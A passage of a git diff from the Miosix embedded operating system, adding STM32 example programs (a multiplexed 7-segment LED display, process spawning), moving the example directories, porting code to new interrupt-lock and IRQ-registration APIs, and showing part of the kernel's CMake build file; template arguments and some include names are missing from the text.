TIM3->ARR=0xffff; + TIM3->EGR=TIM_EGR_UG; //Update ARR shadow register + TIM3->SR=0; //Clear interrupt flag caused by setting UG + TIM3->CCMR1=TIM_CCMR1_CC1S_0; + TIM3->CCER=TIM_CCER_CC1P + | TIM_CCER_CC1NP + | TIM_CCER_CC1E; + TIM3->DIER=TIM_DIER_CC1IE + | TIM_DIER_UIE; + TIM3->CR1=TIM_CR1_OPM; //One pulse mode, timer not started yet + timerIn::mode(Mode::ALTERNATE); + timerIn::alternateFunction(2); + queue.run(); +} diff --git a/examples/led_display/main.cpp b/examples/led_display/main.cpp new file mode 100644 index 000000000..ae1725083 --- /dev/null +++ b/examples/led_display/main.cpp @@ -0,0 +1,108 @@ + +//Example to drive an 8-digit common cathode multiplexed 7-segment LED display. +//Add current limiting resistors and digit drivers as needed. +//Written for stm32vldiscovery, change GPIOs and the line mentioning AFIO->MAPR +//if targeting another board. + +#include +#include + +using namespace miosix; + +typedef Gpio segmentA; +typedef Gpio segmentB; +typedef Gpio segmentC; +typedef Gpio segmentD; +typedef Gpio segmentE; +typedef Gpio segmentF; +typedef Gpio segmentG; +typedef Gpio segmentDP; +typedef Gpio digit0; +typedef Gpio digit1; +typedef Gpio digit2; +typedef Gpio digit3; +typedef Gpio digit4; +typedef Gpio digit5; +typedef Gpio digit6; +typedef Gpio digit7; + +static void outSegment(unsigned char segment) +{ + #define S2G(x,y,z) if(y & (1<MAPR=1<<25;//To free PB3 and PB4 from JTAG in stm32vldiscovery + CONFIG(digit0); + CONFIG(digit1); + CONFIG(digit2); + CONFIG(digit3); + CONFIG(digit4); + CONFIG(digit5); + CONFIG(digit6); + CONFIG(digit7); + CONFIG(segmentA); + CONFIG(segmentB); + CONFIG(segmentC); + CONFIG(segmentD); + CONFIG(segmentE); + CONFIG(segmentF); + CONFIG(segmentG); + CONFIG(segmentDP); + } + #undef CONFIG + #define DIGIT(x,y) \ + outSegment(digits[y]); x::low(); Thread::sleep(2); x::high() + for(;;) + { + DIGIT(digit0,0); + DIGIT(digit1,1); + DIGIT(digit2,2); + DIGIT(digit3,3); + DIGIT(digit4,4); + DIGIT(digit5,5); + DIGIT(digit6,6); + DIGIT(digit7,7); + } + #undef DIGIT +} + +static const unsigned char digitTable[]= +{ + 0x3f,0x06,0x5b,0x4f,0x66,0x6d,0x7d,0x07,0x7f,0x6f +}; + +static void number(int x) +{ + for(int i=0;i<8;i++) + { + digits[i]=digitTable[x % 10]; + x/=10; + } +} + +int main() +{ + memset(digits,0,sizeof(digits)); + Thread::create(displayThread,STACK_MIN,DEFAULT_PRIORITY,nullptr,Thread::DETACHED); + for(int i=0;;i++) + { + number(i); + Thread::sleep(10); + } +} diff --git a/examples/processes/CMakeLists.txt b/examples/processes/CMakeLists.txt new file mode 100644 index 000000000..bf2175fd9 --- /dev/null +++ b/examples/processes/CMakeLists.txt @@ -0,0 +1,57 @@ +# Copyright (C) 2024 by Skyward +# +# This program is free software; you can redistribute it and/or +# it under the terms of the GNU General Public License as published +# the Free Software Foundation; either version 2 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# As a special exception, if other files instantiate templates or use +# macros or inline functions from this file, or you compile this file +# and link it with other works to produce a work based on this file, +# this file does not by itself cause the resulting work to be covered +# by the GNU General Public License. However the source code for this +# file must still be made available in accordance with the GNU +# Public License. This exception does not invalidate any other +# why a work based on this file might be covered by the GNU General +# Public License. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, see + +cmake_minimum_required(VERSION 3.21) + +set(MIOSIX_KPATH ${CMAKE_SOURCE_DIR}/../../miosix) +set(CMAKE_TOOLCHAIN_FILE ${MIOSIX_KPATH}/cmake/Toolchains/gcc.cmake) +set(CMAKE_BUILD_TYPE "Release") + +project(ProcessesExamples C CXX ASM) + +# Set Miosix definitions and options +#set(MIOSIX_BOARD stm32f407vg_stm32f4discovery) +set(MIOSIX_LINKER_SCRIPT processes.ld) + +add_subdirectory(${MIOSIX_KPATH} miosix EXCLUDE_FROM_ALL) + +# Kernel level program +add_executable(main main.cpp) +target_compile_definitions(miosix PUBLIC WITH_FILESYSTEM) +target_compile_definitions(miosix PUBLIC WITH_PROCESSES) +miosix_link_target(main) + +# Processes +miosix_add_process(process1 process1.cpp) +miosix_add_process(process2 process2.cpp) + +# RomFS image +miosix_add_romfs_image(image + PROGRAM_DEFAULT + IMAGE_NAME image + DIR_NAME bin + KERNEL main + PROCESSES process1 process2 +) diff --git a/examples/processes/main.cpp b/examples/processes/main.cpp new file mode 100644 index 000000000..cd9d16f3c --- /dev/null +++ b/examples/processes/main.cpp @@ -0,0 +1,36 @@ +#include +#include + +#include + +void start_process(pid_t* pid, char* const argv[], char* const envp[]) +{ + int error_code = posix_spawn(pid, argv[0], NULL, NULL, argv, envp); + + if(error_code != 0) + { + printf("spawn returned %d\n", error_code); + } +} + +int main() +{ + pid_t pid1, pid2; + + // Arguments and environment variables + const char* arg1[] = {"/bin/process1", nullptr}; + const char* arg2[] = {"/bin/process2", nullptr}; + const char* env[] = {nullptr}; + + // Start the processes + start_process(&pid1, (char* const*)arg1, (char* const*)env); + start_process(&pid2, (char* const*)arg2, (char* const*)env); + + // Wait for them to end + wait(NULL); + wait(NULL); + + printf("All processes ended\n"); + + return 0; +} diff --git a/examples/processes/process1.cpp b/examples/processes/process1.cpp new file mode 100644 index 000000000..3a5d42fd9 --- /dev/null +++ b/examples/processes/process1.cpp @@ -0,0 +1,17 @@ +#include +#include + +int main() +{ + printf("Hi! I'm the process #1\n"); + + printf("I'll count to 10\n"); + const timespec sleep_time{.tv_sec = 1, .tv_nsec = 0}; + for (int i = 1; i <= 10; i++) + { + nanosleep(&sleep_time, NULL); + printf("%d\n", i); + } + + return 0; +} diff --git a/examples/processes/process2.cpp b/examples/processes/process2.cpp new file mode 100644 index 000000000..f94a50608 --- /dev/null +++ b/examples/processes/process2.cpp @@ -0,0 +1,17 @@ +#include +#include + +int main() +{ + printf("Hi! I'm the process #2\n"); + + printf("I'll write 10 letters\n"); + const timespec sleep_time{.tv_sec = 1, .tv_nsec = 0}; + for (int i = 1; i <= 10; i++) + { + nanosleep(&sleep_time, NULL); + printf("%c\n", 'Z' - i); + } + + return 0; +} diff --git a/examples/sad_trombone/Makefile b/examples/sad_trombone/Makefile new file mode 100644 index 000000000..2777f853f --- /dev/null +++ b/examples/sad_trombone/Makefile @@ -0,0 +1,66 @@ +## +## Makefile template for Miosix embedded OS kernel-side applications +## + +## Path to the Miosix kernel root (miosix-kernel/miosix) +KPATH := ../../miosix + +## Path to the Miosix config root, containing: +## - config/Makefile.inc +## - config/miosix_config.h (optional) +## - config/board//board_config.h (optional) +## Leave it as $(KPATH) to use the default settings built in to miosix. Any +## missing file is replaced by the defaults as well. +## To change the config, copy and paste the miosix/config directory to +## your project root and change this path to the project root (typically ".") +CONFPATH := $(KPATH) + +## When using CONFPATH := $(KPATH) you can choose the board here. You can also +## override other variables defined by Makefile.inc. +OPT_BOARD := stm32f407vg_stm32f4discovery +# OPT_BOARD := stm32f100rb_stm32vldiscovery + +## Include the Miosix common makefile for kernel-side applications +MAKEFILE_VERSION := 3.01 +include $(KPATH)/Makefile.kcommon + +## +## List here your source files (both .s, .c and .cpp) +## +SRC := main.cpp player.cpp adpcm.c + +## +## List here additional include directories (in the form -Iinclude_dir) +## +INCLUDE_DIRS := + +## +## List here additional static libraries with relative path +## +LIBS := + +## +## List here subdirectories which contains makefiles +## +SUBDIRS += + +## +## Attach a romfs filesystem image after the kernel +## +ROMFS_DIR := + +all: $(if $(ROMFS_DIR), image, main) + +main: $(OBJ) all-recursive + $(ECHO) "[LD ] main.elf" + $(Q)$(CXX) $(LFLAGS) -o main.elf $(OBJ) $(LINK_LIBS) + $(ECHO) "[CP ] main.hex" + $(Q)$(CP) -O ihex main.elf main.hex + $(ECHO) "[CP ] main.bin" + $(Q)$(CP) -O binary main.elf main.bin + $(Q)$(SZ) main.elf + +clean: clean-recursive + $(Q)rm -f $(OBJ) $(OBJ:.o=.d) main.elf main.hex main.bin main.map + +-include $(OBJ:.o=.d) diff --git a/examples/sad_trombone/Readme.txt b/examples/sad_trombone/Readme.txt new file mode 100644 index 000000000..d9ce5d28b --- /dev/null +++ b/examples/sad_trombone/Readme.txt @@ -0,0 +1,24 @@ + +This example shows how to synchronize between a thread and a DMA peripheral. +To build this example, execute `make` in the example directory + +This example supports the following two boards: + +1) stm32f4discovery +=================== + +This board has a builting I2S audio DAC, just configure the kernel for +this board (OPT_BOARD := stm32f407vg_stm32f4discovery in Makefile.inc), +make; make program and plug headphone jack to the board's connector. + +2) stm32vldiscovery +=================== + +Follow the kernel configuration procedure for this board here: + +http://miosix.org/boards/stm32vldiscovery-config.html + +To be able to hear the audio file, build one of the two circuits found in +the circuit.jpeg file. The top one is a speaker amplifier, the bottom one +is a filter whose output is suitable to drive an amplified speaker +(such as a PC speaker). diff --git a/miosix/_examples/sad_trombone/adpcm.c b/examples/sad_trombone/adpcm.c similarity index 100% rename from miosix/_examples/sad_trombone/adpcm.c rename to examples/sad_trombone/adpcm.c diff --git a/miosix/_examples/sad_trombone/adpcm.h b/examples/sad_trombone/adpcm.h similarity index 100% rename from miosix/_examples/sad_trombone/adpcm.h rename to examples/sad_trombone/adpcm.h diff --git a/miosix/_examples/sad_trombone/circuit.jpeg b/examples/sad_trombone/circuit.jpeg similarity index 100% rename from miosix/_examples/sad_trombone/circuit.jpeg rename to examples/sad_trombone/circuit.jpeg diff --git a/miosix/_examples/sad_trombone/convert.cpp b/examples/sad_trombone/convert.cpp similarity index 100% rename from miosix/_examples/sad_trombone/convert.cpp rename to examples/sad_trombone/convert.cpp diff --git a/miosix/_examples/sad_trombone/main.cpp b/examples/sad_trombone/main.cpp similarity index 100% rename from miosix/_examples/sad_trombone/main.cpp rename to examples/sad_trombone/main.cpp diff --git a/miosix/_examples/sad_trombone/player.cpp b/examples/sad_trombone/player.cpp similarity index 84% rename from miosix/_examples/sad_trombone/player.cpp rename to examples/sad_trombone/player.cpp index e696766c8..0a8bd144a 100644 --- a/miosix/_examples/sad_trombone/player.cpp +++ b/examples/sad_trombone/player.cpp @@ -28,7 +28,8 @@ #include #include #include -#include "miosix/kernel/scheduler/scheduler.h" +#include "kernel/thread.h" +#include "interfaces/interrupts.h" #include "util/software_i2c.h" #include "adpcm.h" #include "player.h" @@ -37,15 +38,15 @@ using namespace std; using namespace miosix; #ifdef _BOARD_STM32VLDISCOVERY -typedef Gpio dacPin; //DAC1 out on the stm32f100rb is PA4 +typedef Gpio dacPin; //DAC1 out on the stm32f100rb is PA4 #else //Assuming stm32f4discovery -typedef Gpio scl; -typedef Gpio sda; -typedef Gpio lrck; -typedef Gpio mclk; -typedef Gpio sclk; -typedef Gpio sdin; -typedef Gpio reset; +typedef Gpio scl; +typedef Gpio sda; +typedef Gpio lrck; +typedef Gpio mclk; +typedef Gpio sclk; +typedef Gpio sdin; +typedef Gpio reset; typedef SoftwareI2C i2c; #endif @@ -98,48 +99,26 @@ static void IRQdmaRefill() */ static void dmaRefill() { - FastInterruptDisableLock dLock; + FastGlobalIrqLock dLock; IRQdmaRefill(); } #ifdef _BOARD_STM32VLDISCOVERY -/** - * DMA end of transfer interrupt - */ -void __attribute__((naked)) DMA1_Channel3_IRQHandler() -{ - saveContext(); - asm volatile("bl _Z17DACdmaHandlerImplv"); - restoreContext(); -} - /** * DMA end of transfer interrupt actual implementation */ -void __attribute__((used)) DACdmaHandlerImpl() +void DACdmaHandlerImpl() { DMA1->IFCR=DMA_IFCR_CGIF3; bq->bufferEmptied(); IRQdmaRefill(); waiting->IRQwakeup(); - if(waiting->IRQgetPriority()>Thread::IRQgetCurrentThread()->IRQgetPriority()) - Scheduler::IRQfindNextThread(); } #else //Assuming stm32f4discovery -/** - * DMA end of transfer interrupt - */ -void __attribute__((naked)) DMA1_Stream5_IRQHandler() -{ - saveContext(); - asm volatile("bl _Z17I2SdmaHandlerImplv"); - restoreContext(); -} - /** * DMA end of transfer interrupt actual implementation */ -void __attribute__((used)) I2SdmaHandlerImpl() +void I2SdmaHandlerImpl() { DMA1->HIFCR=DMA_HIFCR_CTCIF5 | DMA_HIFCR_CTEIF5 | @@ -148,8 +127,6 @@ void __attribute__((used)) I2SdmaHandlerImpl() bq->bufferEmptied(); IRQdmaRefill(); waiting->IRQwakeup(); - if(waiting->IRQgetPriority()>Thread::IRQgetCurrentThread()->IRQgetPriority()) - Scheduler::IRQfindNextThread(); } static void cs43l22send(unsigned char index, unsigned char data) @@ -188,15 +165,8 @@ void cs43l22volume(int db) template static void atomicTestAndWaitUntil(volatile T& variable, T value) { - FastInterruptDisableLock dLock; - while(variable!=value) - { - Thread::IRQgetCurrentThread()->IRQwait(); - { - FastInterruptEnableLock eLock(dLock); - Thread::yield(); - } - } + FastGlobalIrqLock dLock; + while(variable!=value) Thread::IRQglobalIrqUnlockAndWait(dLock); } /** @@ -205,17 +175,10 @@ static void atomicTestAndWaitUntil(volatile T& variable, T value) */ static unsigned short *getWritableBuffer() { - FastInterruptDisableLock dLock; - unsigned short *result; - while(bq->tryGetWritableBuffer(result)==false) - { - waiting->IRQwait(); - { - FastInterruptEnableLock eLock(dLock); - Thread::yield(); - } - } - return result; + FastGlobalIrqLock dLock; + unsigned short *result; + while(bq->tryGetWritableBuffer(result)==false) Thread::IRQglobalIrqUnlockAndWait(dLock); + return result; } /** @@ -223,7 +186,7 @@ static unsigned short *getWritableBuffer() */ static void bufferFilled() { - FastInterruptDisableLock dLock; + FastGlobalIrqLock dLock; bq->bufferFilled(bq->bufferMaxSize()); } @@ -288,7 +251,7 @@ void Player::play(Sound& sound) bq=new BufferQueue(); { - FastInterruptDisableLock dLock; + GlobalIrqLock dLock; //Configure GPIOs dacPin::mode(Mode::INPUT_ANALOG); //Enable peripherals clock gating, other threads might be concurretly @@ -297,15 +260,12 @@ void Player::play(Sound& sound) RCC_SYNC(); RCC->APB1ENR |= RCC_APB1ENR_DACEN | RCC_APB1ENR_TIM6EN; RCC_SYNC(); + //Configure DAC + DAC->CR=DAC_CR_DMAEN1 | DAC_CR_TEN1 | DAC_CR_EN1; + //Configure DMA + IRQregisterIrq(dLock,DMA1_Channel3_IRQn,DACdmaHandlerImpl); } - //Configure DAC - DAC->CR=DAC_CR_DMAEN1 | DAC_CR_TEN1 | DAC_CR_EN1; - - //Configure DMA - NVIC_SetPriority(DMA1_Channel3_IRQn,2);//High priority for DMA - NVIC_EnableIRQ(DMA1_Channel3_IRQn); - //Configure TIM6 DBGMCU->CR |= DBGMCU_CR_DBG_TIM6_STOP; //TIM6 stops while debugging TIM6->CR1=0; //Upcounter, not started, no special options @@ -340,12 +300,15 @@ void Player::play(Sound& sound) atomicTestAndWaitUntil(enobuf,true); //Play last buffer //Shutdown - NVIC_DisableIRQ(DMA1_Channel3_IRQn); - TIM6->CR1=0; - DMA1_Channel3->CCR=0; - DAC->CR=0; - dacPin::mode(Mode::INPUT_PULL_UP_DOWN); - dacPin::pulldown(); + { + GlobalIrqLock dLock; + IRQunregisterIrq(dLock,DMA1_Channel3_IRQn,DACdmaHandlerImpl); + TIM6->CR1=0; + DMA1_Channel3->CCR=0; + DAC->CR=0; + dacPin::mode(Mode::INPUT_PULL_UP_DOWN); + dacPin::pulldown(); + } delete bq; } #else //Assuming stm32f4discovery @@ -355,7 +318,7 @@ void Player::play(Sound& sound) bq=new BufferQueue(); { - FastInterruptDisableLock dLock; + GlobalIrqLock dLock; //Enable DMA1 and SPI3/I2S3 RCC->AHB1ENR |= RCC_AHB1ENR_DMA1EN; RCC_SYNC(); @@ -375,6 +338,7 @@ void Player::play(Sound& sound) //Enable audio PLL (settings for 44100Hz audio) RCC->PLLI2SCFGR=(2<<28) | (271<<6); RCC->CR |= RCC_CR_PLLI2SON; + IRQregisterIrq(dLock,DMA1_Stream5_IRQn,I2SdmaHandlerImpl); } //Wait for PLL to lock while((RCC->CR & RCC_CR_PLLI2SRDY)==0) ; @@ -400,9 +364,6 @@ void Player::play(Sound& sound) | SPI_I2SCFGR_I2SE //I2S Enabled | SPI_I2SCFGR_I2SCFG_1; //Master transmit - NVIC_SetPriority(DMA1_Stream5_IRQn,2);//High priority for DMA - NVIC_EnableIRQ(DMA1_Stream5_IRQn); - //Leading blank audio, so as to be sure audio is played from the start memset(getWritableBuffer(),0,bufferSize*sizeof(unsigned short)); bufferFilled(); @@ -439,11 +400,11 @@ void Player::play(Sound& sound) atomicTestAndWaitUntil(enobuf,true); //Continue sending MCLK for some time reset::low(); //Keep in reset state - NVIC_DisableIRQ(DMA1_Stream5_IRQn); SPI3->I2SCFGR=0; { - FastInterruptDisableLock dLock; + GlobalIrqLock dLock; RCC->CR &= ~RCC_CR_PLLI2SON; + IRQunregisterIrq(dLock,DMA1_Stream5_IRQn,I2SdmaHandlerImpl); } delete bq; } diff --git a/miosix/_examples/sad_trombone/player.h b/examples/sad_trombone/player.h similarity index 100% rename from miosix/_examples/sad_trombone/player.h rename to examples/sad_trombone/player.h diff --git a/miosix/_examples/sad_trombone/sad_trombone.h b/examples/sad_trombone/sad_trombone.h similarity index 100% rename from miosix/_examples/sad_trombone/sad_trombone.h rename to examples/sad_trombone/sad_trombone.h diff --git a/miosix/_examples/sad_trombone/sad_trombone.wav b/examples/sad_trombone/sad_trombone.wav similarity index 100% rename from miosix/_examples/sad_trombone/sad_trombone.wav rename to examples/sad_trombone/sad_trombone.wav diff --git a/miosix/_examples/servo/prompt.cpp b/examples/servo/prompt.cpp similarity index 91% rename from miosix/_examples/servo/prompt.cpp rename to examples/servo/prompt.cpp index 564a712b8..adea6c002 100644 --- a/miosix/_examples/servo/prompt.cpp +++ b/examples/servo/prompt.cpp @@ -1,6 +1,6 @@ #include -#include "drivers/servo_stm32.h" +#include "drivers/stm32_servo.h" using namespace miosix; diff --git a/miosix/_examples/servo/sweep.cpp b/examples/servo/sweep.cpp similarity index 91% rename from miosix/_examples/servo/sweep.cpp rename to examples/servo/sweep.cpp index 9b77bc782..c06421212 100644 --- a/miosix/_examples/servo/sweep.cpp +++ b/examples/servo/sweep.cpp @@ -1,6 +1,6 @@ #include -#include "drivers/servo_stm32.h" +#include "drivers/stm32_servo.h" using namespace miosix; diff --git a/miosix/_examples/streamwriter/Readme.txt b/examples/streamwriter/Readme.txt similarity index 100% rename from miosix/_examples/streamwriter/Readme.txt rename to examples/streamwriter/Readme.txt diff --git a/miosix/_examples/streamwriter/average.pl b/examples/streamwriter/average.pl similarity index 100% rename from miosix/_examples/streamwriter/average.pl rename to examples/streamwriter/average.pl diff --git a/miosix/_examples/streamwriter/streamwriter.cpp b/examples/streamwriter/streamwriter.cpp similarity index 91% rename from miosix/_examples/streamwriter/streamwriter.cpp rename to examples/streamwriter/streamwriter.cpp index 5ebc6f280..3eebc6b9c 100644 --- a/miosix/_examples/streamwriter/streamwriter.cpp +++ b/examples/streamwriter/streamwriter.cpp @@ -56,7 +56,7 @@ static Queue queuedSamples; static list fullList; ///< Buffers between packThread() and writeThread() static list emptyList; ///< Buffers between packThread() and writeThread() -static FastMutex listHandlingMutex; ///< To allow concurrent access to the lists +static KernelMutex listHandlingMutex; ///< To allow concurrent access to the lists static ConditionVariable listWaiting; ///< To lock when buffers are all full/empty static Thread *statsT; ///< Thred printing stats @@ -89,7 +89,7 @@ void senseThread(void *argv) Record sample=readSensors(); processSensorData(sample); { - FastInterruptDisableLock dLock; + FastGlobalIrqLock dLock; if(queuedSamples.IRQput(sample)==false) statDroppedSamples++; else statQueuePush++; } @@ -116,7 +116,7 @@ void packThread(void *argv) //Get an empty buffer, wait if none is available Record *buffer; { - Lock l(listHandlingMutex); + Lock l(listHandlingMutex); while(emptyList.empty()) { if(stopSensing) return; @@ -141,7 +141,7 @@ void packThread(void *argv) //Pass the buffer to the writeThread() { - Lock l(listHandlingMutex); + Lock l(listHandlingMutex); fullList.push_back(buffer); listWaiting.broadcast(); } @@ -162,7 +162,7 @@ void writeThread(void *argv) //Get a full buffer, wait if none is available Record *buffer; { - Lock l(listHandlingMutex); + Lock l(listHandlingMutex); while(fullList.empty()) { if(stopSensing) return; @@ -184,7 +184,7 @@ void writeThread(void *argv) //Return the buffer to the packThread() { - Lock l(listHandlingMutex); + Lock l(listHandlingMutex); emptyList.push_back(buffer); listWaiting.broadcast(); } @@ -236,10 +236,10 @@ void startSensingChain() return; } setbuf(file,NULL); - statsT=Thread::create(statsThread,4096,1,0,Thread::JOINABLE); - writeT=Thread::create(writeThread,4096,1,0,Thread::JOINABLE); - packT= Thread::create(packThread, 4096,1,0,Thread::JOINABLE); - senseT=Thread::create(senseThread,4096,PRIORITY_MAX-1,0,Thread::JOINABLE); + statsT=Thread::create(statsThread,4096,DEFAULT_PRIORITY,nullptr,Thread::JOINABLE); + writeT=Thread::create(writeThread,4096,DEFAULT_PRIORITY,nullptr,Thread::JOINABLE); + packT= Thread::create(packThread, 4096,DEFAULT_PRIORITY,nullptr,Thread::JOINABLE); + senseT=Thread::create(senseThread,4096,NUM_PRIORITIES-1,nullptr,Thread::JOINABLE); if(statsT==0 || writeT==0 || packT==0 || senseT==0) printf("Error: thread creation failure\n"); } @@ -254,12 +254,12 @@ void stopSensingChain() this_thread::sleep_for(milliseconds(20)); //Wait for threads to terminate //Wake threads eventually locked somewhere { - FastInterruptDisableLock dLock; + FastGlobalIrqLock dLock; Record record; queuedSamples.IRQput(record); } { - Lock l(listHandlingMutex); + Lock l(listHandlingMutex); listWaiting.broadcast(); } statsT->join(); diff --git a/miosix/_examples/termios/main.cpp b/examples/termios/main.cpp similarity index 100% rename from miosix/_examples/termios/main.cpp rename to examples/termios/main.cpp diff --git a/miosix/_examples/thread_native/Readme.txt b/examples/thread_native/Readme.txt similarity index 100% rename from miosix/_examples/thread_native/Readme.txt rename to examples/thread_native/Readme.txt diff --git a/miosix/_examples/thread_native/native_thread_example.cpp b/examples/thread_native/native_thread_example.cpp similarity index 89% rename from miosix/_examples/thread_native/native_thread_example.cpp rename to examples/thread_native/native_thread_example.cpp index fbf1a6615..d6fb9a722 100644 --- a/miosix/_examples/thread_native/native_thread_example.cpp +++ b/examples/thread_native/native_thread_example.cpp @@ -30,7 +30,7 @@ int main() { const char str[]="Hello world\n"; Thread *thread; - thread=Thread::create(threadfunc,2048,1,(void*)strlen(str),Thread::JOINABLE); + thread=Thread::create(threadfunc,2048,DEFAULT_PRIORITY,(void*)strlen(str)); { Lock lock(mutex); for(int i=0;i + +# Version 3.21 allows overriding CACHE variables with normal variables +cmake_minimum_required(VERSION 3.21) + +# Include Miosix's modules +set(CMAKE_MODULE_PATH "${CMAKE_MODULE_PATH};${CMAKE_CURRENT_SOURCE_DIR}/cmake") +include(AddProcess) +include(AddProgramTarget) +include(AddRomfsImage) +include(CreateProcessesDir) +include(LinkTarget) + +project(Miosix + VERSION 3.0 + DESCRIPTION "OS kernel designed to run on 32bit microcontrollers." + HOMEPAGE_URL "https://miosix.org" + LANGUAGES C CXX +) +set(CMAKE_CXX_STANDARD 23 CACHE STRING "Project C++ standard") + +# The user can set custom paths for miosix_settings.h and board_settings.h +set(MIOSIX_USER_CONFIG_PATH + "${CMAKE_SOURCE_DIR}/config" + CACHE PATH "Path of the Miosix configuration directory") +set(MIOSIX_USER_BOARD_SETTINGS_PATH + "${MIOSIX_USER_CONFIG_PATH}/board/${MIOSIX_BOARD}" + CACHE PATH "Include directory for board_settings.h") + +# Default warning flags used for Miosix and projects that link with it. +# Configurable but not recommended. +set(MIOSIX_ASM_FLAGS "" CACHE PATH "Configurable Assembly flags for Miosix") +set(MIOSIX_C_FLAGS + -Wall + -Werror=return-type + CACHE PATH "Configurable C flags for Miosix" +) +set(MIOSIX_CXX_FLAGS + -Wall + -Werror=return-type + CACHE PATH "Configurable C++ flags for Miosix" +) +set(MIOSIX_EXE_LINKER_FLAGS "" CACHE PATH "Configurable linker flags for Miosix") + +# C++ Exception/rtti support disable flags. +# To save code size if not using C++ exceptions (nor some STL code which +# implicitly uses it) uncomment this option. +# -D__NO_EXCEPTIONS is used by Miosix to know if exceptions are used. +option(MIOSIX_DISABLE_EXCEPTIONS "Disables C++ exceptions/rtti support" OFF) +if(MIOSIX_DISABLE_EXCEPTIONS) + set(MIOSIX_OPT_EXCEPT -fno-exceptions -fno-rtti -D__NO_EXCEPTIONS) +endif() + +# Option to enable/disable linker garbage collection +option(MIOSIX_ENABLE_LINKER_GC "Enables linker garbage collection" ON) +if(MIOSIX_ENABLE_LINKER_GC) + set(LINKER_GC_FLAGS -ffunction-sections -fdata-sections) + set(LINKER_GC_EXE_LINKER_FLAGS -Wl,--gc-sections) +endif() + +# Include the architecture options +include(${CMAKE_CURRENT_SOURCE_DIR}/arch/CMakeLists.txt) + +# Verify that all the required variables have been defined, otherwise abort +set(REQUIRED_VARIABLES + MIOSIX_BOARD + MIOSIX_CHIP_INC + MIOSIX_BOARD_INC + MIOSIX_LINKER_SCRIPT + MIOSIX_BOARD_C_FLAGS + MIOSIX_BOARD_CXX_FLAGS + MIOSIX_CHIP_C_FLAGS + MIOSIX_CHIP_CXX_FLAGS + MIOSIX_CPU_FLAGS + MIOSIX_BOARD_SRC + MIOSIX_CHIP_SRC +) +foreach(VARIABLE ${REQUIRED_VARIABLES}) + if(NOT DEFINED ${VARIABLE}) + message(FATAL_ERROR "arch/CMakeLists.txt must define ${VARIABLE}") + endif() +endforeach() +# Export MIOSIX_CPU_FLAGS so we can access it in AddProcess.cmake +set(MIOSIX_CPU_FLAGS "${MIOSIX_CPU_FLAGS}" PARENT_SCOPE) + +# Print build configuration +message(STATUS + "Build Configuration\n" + " - MIOSIX_GCC_PATH: ${MIOSIX_GCC_PATH}\n" + " - MIOSIX_USER_CONFIG_PATH: ${MIOSIX_USER_CONFIG_PATH}\n" + " - MIOSIX_USER_BOARD_SETTINGS_PATH: ${MIOSIX_USER_BOARD_SETTINGS_PATH}\n" + " - CMAKE_TOOLCHAIN_FILE: ${CMAKE_TOOLCHAIN_FILE}\n" + " - CMAKE_CXX_STANDARD: ${CMAKE_CXX_STANDARD}\n" + " - CMAKE_BUILD_TYPE: ${CMAKE_BUILD_TYPE}\n" + " - MIOSIX_BOARD: ${MIOSIX_BOARD}\n" + " - MIOSIX_LINKER_SCRIPT: ${MIOSIX_LINKER_SCRIPT}\n" + " - MIOSIX_BOARD_VARIANT: ${MIOSIX_BOARD_VARIANT}\n" + " - MIOSIX_DISABLE_EXCEPTIONS: ${MIOSIX_DISABLE_EXCEPTIONS}\n" + " - MIOSIX_ENABLE_LINKER_GC: ${MIOSIX_ENABLE_LINKER_GC}\n" + " Remember to delete cmake cache for changes in CMakeLists.txt to have effect (or use --fresh to ignore it)" +) + +option(MIOSIX_PRINT_BOARD_LIST "Prints a list of the available boards" OFF) +if(MIOSIX_PRINT_BOARD_LIST) + miosix_print_list(STATUS "Available boards:" "${MIOSIX_BOARDS}") +else() + message(STATUS "Print the list of boards by setting MIOSIX_PRINT_BOARD_LIST to ON") +endif() + +option(MIOSIX_PRINT_LINKER_SCRIPT_LIST "Prints a list of the available linker scripts" ON) +if(MIOSIX_PRINT_LINKER_SCRIPT_LIST) + miosix_print_list(STATUS + "Available linker scripts for ${MIOSIX_BOARD}:" + "${LINKER_SCRIPTS_ONLY_LIST}" + SELECTION "${MIOSIX_LINKER_SCRIPT}" + DEFAULT "${MIOSIX_DEFAULT_LINKER_SCRIPT}" + ) +endif() + +option(MIOSIX_PRINT_BOARD_VARIANT_LIST "Prints a list of the available board variants" ON) +if(MIOSIX_PRINT_BOARD_VARIANT_LIST) + if(DEFINED MIOSIX_BOARD_VARIANT_LIST) + miosix_print_list(STATUS + "Available board variants for ${MIOSIX_BOARD}:" + "${MIOSIX_BOARD_VARIANT_LIST}" + SELECTION ${MIOSIX_BOARD_VARIANT} + DEFAULT ${MIOSIX_DEFAULT_BOARD_VARIANT} + ) + else() + message(STATUS "Board ${MIOSIX_BOARD} has no variants") + endif() +endif() + +set(MIOSIX_KERNEL_SRC + ${CMAKE_CURRENT_SOURCE_DIR}/kernel/thread.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/kernel/lock.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/kernel/sync.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/kernel/error.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/kernel/pthread.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/kernel/boot.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/kernel/elf_program.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/kernel/process.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/kernel/process_pool.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/kernel/timeconversion.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/kernel/intrusive.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/kernel/cpu_time_counter.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/kernel/scheduler/priority/priority_scheduler.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/kernel/scheduler/control/control_scheduler.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/kernel/scheduler/edf/edf_scheduler.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/filesystem/file_access.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/filesystem/file.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/filesystem/path.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/filesystem/stringpart.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/filesystem/pipe/pipe.cpp + 